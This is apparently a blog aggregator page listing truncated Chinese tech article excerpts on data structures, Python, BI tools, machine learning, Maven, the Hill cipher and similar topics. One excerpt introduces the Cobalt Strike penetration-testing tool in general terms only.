细粒度图像分类论文阅读笔记 摘要Abstract1. 用于细粒度图像分类的聚合注意力模块1.1 文献摘要1.2 研究背景1.3 本文创新点1.4 计算机视觉中的注意力机制1.5 模型方法1.5.1 聚合注意力模块1.5.2 通道注意力模块通道注意力代码实现 1.5.3 空间注意力模块空间注意力代码实现 1.5.…

Superset,基于浏览器的开源BI工具

BI工具是数据分析的得力武器&#xff0c;目前市场上有很多BI软件&#xff0c;众所周知的有Tableau、PowerBI、Qlikview、帆软等&#xff0c;其中大部分是收费软件或者部分功能收费。这些工具一通百通&#xff0c;用好一个就够了&#xff0c;重要的是分析思维。 我一直用的Tabl…

【数据结构/C语言】深入理解 双向链表

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;数据结构与算法 在阅读本篇文章之前&#xff0c;您可能需要用到这篇关于单链表详细介绍的文章 【数据结构/C语言】深入理解 单链表…

python内置函数map/filter/reduce详解

在Python中&#xff0c;map(), filter(), 和 reduce() 是内置的高级函数(实际是class)&#xff0c;用于处理可迭代对象&#xff08;如列表、元组等&#xff09;的元素。这些函数通常与lambda函数一起使用&#xff0c;以简洁地表达常见的操作。下面我将分别解释这三个函数。 1. …

echarts-地图

使用地图的三种的方式&#xff1a; 注册地图(用json或svg,注册为地图)&#xff0c;然后使用map地图使用geo坐标系&#xff0c;地图注册后不是直接使用&#xff0c;而是注册为坐标系。直接使用百度地图、高德地图&#xff0c;使用百度地图或高德地图作为坐标系。 用json或svg注…

Selenium 高频面试题及答案

1、什么是 Selenium&#xff1f;它用于做什么&#xff1f; Selenium 是一个用于自动化测试的开源框架。它提供了多种工具和库&#xff0c;用于模拟用户在不同浏览器和操作系统上的行为&#xff0c;并且可用于测试网页应用程序。 2、Selenium WebDriver 和 Selenium IDE 有何区…

【机器学习300问】100、怎么理解卷积神经网络CNN中的池化操作?

一、什么是池化&#xff1f; 卷积神经网络&#xff08;CNN&#xff09;中的池化&#xff08;Pooling&#xff09;操作是一种下采样技术&#xff0c;其目的是减少数据的空间维度&#xff08;宽度和高度&#xff09;&#xff0c;同时保持最重要的特征并降低计算复杂度。池化操作不…

JavaWeb_Web——Maven

介绍&#xff1a; Maven是Apache公司发行的&#xff0c;一个Java项目管理和构建工具 作用&#xff1a; 1.方便的依赖管理 2.统一的项目结构 3.标准的项目构建流程 模型&#xff1a; Maven通过项目对象模型(POM)和依赖管理模型(Dependency)管理依赖(jar包)&#xff0c;如果新添…

新闻稿海外媒体投稿,除了美联社发稿(AP)和彭博社宣发(Bloomberg),还有哪些优质的国外媒体平台可以选择

发布高质量的新闻稿到海外媒体&#xff0c;除了美联社发稿&#xff08;AP&#xff09;和彭博社发稿&#xff08;Bloomberg&#xff09;&#xff0c;还有许多其他优质的媒体平台可以选择。以下是一些受欢迎和高效的海外媒体发布平台&#xff1a; 路透社 (Reuters) 路透社是全球最…

HILL密码

一&#xff1a;简介 Hill密码又称希尔密码是运用基本矩阵论原理的替换密码&#xff0c;属于多表代换密码的一种&#xff0c;由L e s t e r S . H i l l Lester S. HillLesterS.Hill在1929年发明。 二&#xff1a;原理 1.对于每一个字母&#xff0c;我们将其转化为对应的数字&am…

[Android]联系人-删除修改

界面显示 添加按钮点击&#xff0c;holder.imgDelete.setlog();具体代码 public MyViewHolder onCreateViewHolder(NonNull ViewGroup parent, int viewType) {//映射布局文件&#xff0c;生成相应的组件View v LayoutInflater.from(parent.getContext()).inflate(R.layout.d…

[ C++ ] 类和对象( 中 ) 2

目录 前置和后置重载 运算符重载和函数重载 流插入流提取的重载 全局函数访问类私有变量 友员 const成员 取地址及const取地址操作符重载 前置和后置重载 运算符重载和函数重载 流插入流提取的重载 重载成成员函数会出现顺序不同的情况&#xff08;函数重载形参顺序必须相…

渗透工具CobaltStrike工具的下载和安装

一、CobalStrike简介 Cobalt Strike(简称为CS)是一款基于java的渗透测试工具&#xff0c;专业的团队作战的渗透测试工具。CS使用了C/S架构&#xff0c;它分为客户端(Client)和服务端(Server)&#xff0c;服务端只要一个&#xff0c;客户端可有多个&#xff0c;多人连接服务端后…

AbMole - 肿瘤发展与免疫器官的“舞蹈”:一场细胞层面的时间赛跑

在生物医学领域&#xff0c;肿瘤与免疫系统之间的相互作用一直是研究的热点话题。肿瘤细胞不是孤立存在的&#xff0c;它们与宿主的免疫系统进行着一场复杂的“舞蹈”。 最近&#xff0c;一项发表在《Molecular & Cellular Proteomics》杂志上的研究&#xff0c;为我们揭开…

<el-table>根据后端返回数据决定合并单元格的数量(521特别版)

文章目录 一、需求说明二、用到的方法三、代码&#xff08;只展示了本文章重点代码&#xff09; 一、需求说明 &#x1f49d;仅合并第一列&#xff0c;其余为固定列 二、用到的方法 &#x1f48c;合并单元格可以采用三种方法 &#x1f495;1. 手写表格 简单 但没有饿了么写…